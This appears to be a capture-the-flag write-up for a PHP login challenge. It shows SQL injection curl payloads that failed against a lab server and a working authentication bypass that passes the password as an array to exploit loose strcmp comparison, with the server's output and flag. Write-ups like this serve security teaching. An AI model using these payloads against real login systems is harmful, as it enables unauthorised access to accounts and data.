Overview
A Simpsons-themed PHP login portal. The developer claimed it was secure, but the credentials form used the GET method, making it easy to manipulate parameters directly in the URL.
Reconnaissance
Inspecting the HTML source code of the page revealed a standard login form:
<form action="index.php" method="GET">
Username: <input type="text" name="username">
Password: <input type="password" name="password">
</form>Note that the form uses the GET method, exposing parameters in the URL. There were no visible database error messages.
Exploitation Strategy
First, we attempted standard SQL injection payloads, but they all returned "you are not the admin":
curl -s "http://51.20.10.121:8001/index.php?username=admin'--+-&password=x"
curl -s "http://51.20.10.121:8001/index.php?username=' OR '1'='1'--+-&password=x"
curl -s "http://51.20.10.121:8001/index.php?username=admin'%23&password=x"Since SQL injection was not working, we tested for PHP type juggling by passing the password parameter as an array:
curl -s "http://51.20.10.121:8001/index.php?username=admin&password[]=x"This triggered a PHP warning in strcmp(), confirming that it was expecting a string but received an array. In PHP, a loose comparison of the result of strcmp(array, string) (which is NULL) against 0 yields true (i.e. NULL == 0 is true). This successfully bypassed the login and returned the flag!
Solution Code
curl -s "http://51.20.10.121:8001/index.php?username=admin&password[]=x"
# Output:
# <b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>71</b>
# <center><h2>Welcome Admin</h2></center>
# <center><h3>Congratulations, here is the flag: CrackOn{dont_be_naught}</h3></center>Flag
CrackOn{dont_be_naught}